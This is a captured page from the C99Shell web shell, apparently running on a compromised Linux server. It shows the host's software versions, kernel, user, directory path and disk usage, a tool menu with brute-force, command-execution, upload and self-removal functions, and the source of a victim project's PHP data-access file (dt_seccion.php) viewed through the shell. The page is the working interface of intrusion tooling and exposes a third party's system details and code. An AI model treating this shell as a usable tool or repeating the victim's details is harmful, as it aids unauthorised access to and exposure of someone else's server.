!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/tdfonline/php/datos/   drwxr-xr-x
Free 14.93 GB of 61.93 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dt_seccion.php (2.29 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class dt_seccion extends toba_datos_tabla
{
    function 
get_listado($filtro=array())
    {
        
$where = array();
        if (isset(
$filtro['estado'])) {
            
$where[] = "t_s.estado = ".quote($filtro['estado']);
        }
        if (isset(
$filtro['botonera'])) {
            
$where[] = "t_s.botonera = ".quote($filtro['botonera']);
        }

        
//A/Activa,I/Inactiva,V/Vista Previa
        
$sql "SELECT
            t_s.id_seccion,
            t_s.nombre, t_s.nombre_en_portada,
            t_s.descripcion,
            t_s.estado,
            CASE 
                WHEN t_s.estado='A' THEN 'Activa'
                WHEN t_s.estado='I' THEN 'Inactiva'
                WHEN t_s.estado='V' THEN 'Vista Previa'
                ELSE t_s.estado
            END as estado_descripcion,
            t_s.botonera,
            CASE 
                WHEN t_s.botonera='P' THEN 'Principal'
                WHEN t_s.botonera='S' THEN 'Secundario'
                WHEN t_s.botonera='N' THEN 'Ninguno'
                ELSE t_s.botonera
            END as botonera_descripcion,
            t_s.orden,
            t_s.id_publicidad1, '#'||t_p1.id_publicidad||' '||t_p1.fecha_alta||' | '||t_p1.nombre as descripcion_publicidad_1,
            t_s.id_publicidad2, '#'||t_p2.id_publicidad||' '||t_p2.fecha_alta||' | '||t_p2.nombre as descripcion_publicidad_2,
            t_s.id_publicidad3, '#'||t_p3.id_publicidad||' '||t_p3.fecha_alta||' | '||t_p3.nombre as descripcion_publicidad_3,
            t_s.id_publicidad4, '#'||t_p4.id_publicidad||' '||t_p4.fecha_alta||' | '||t_p4.nombre as descripcion_publicidad_4,
            t_s.id_publicidad5, '#'||t_p5.id_publicidad||' '||t_p5.fecha_alta||' | '||t_p5.nombre as descripcion_publicidad_5 
        FROM
            seccion as t_s 
            LEFT OUTER JOIN publicidad as t_p1 ON (t_p1.id_publicidad = t_s.id_publicidad1)
            LEFT OUTER JOIN publicidad as t_p2 ON (t_p2.id_publicidad = t_s.id_publicidad2)
            LEFT OUTER JOIN publicidad as t_p3 ON (t_p3.id_publicidad = t_s.id_publicidad3)
            LEFT OUTER JOIN publicidad as t_p4 ON (t_p4.id_publicidad = t_s.id_publicidad4)
            LEFT OUTER JOIN publicidad as t_p5 ON (t_p5.id_publicidad = t_s.id_publicidad5)

        ORDER BY t_s.orden"
;
        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        }
        return 
toba::db('tdfonline')->consultar($sql);
    }

    function 
get_descripciones()
    {
        
$sql "SELECT id_seccion, nombre FROM seccion ORDER BY nombre";
        return 
toba::db('tdfonline')->consultar($sql);
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.7852 ]--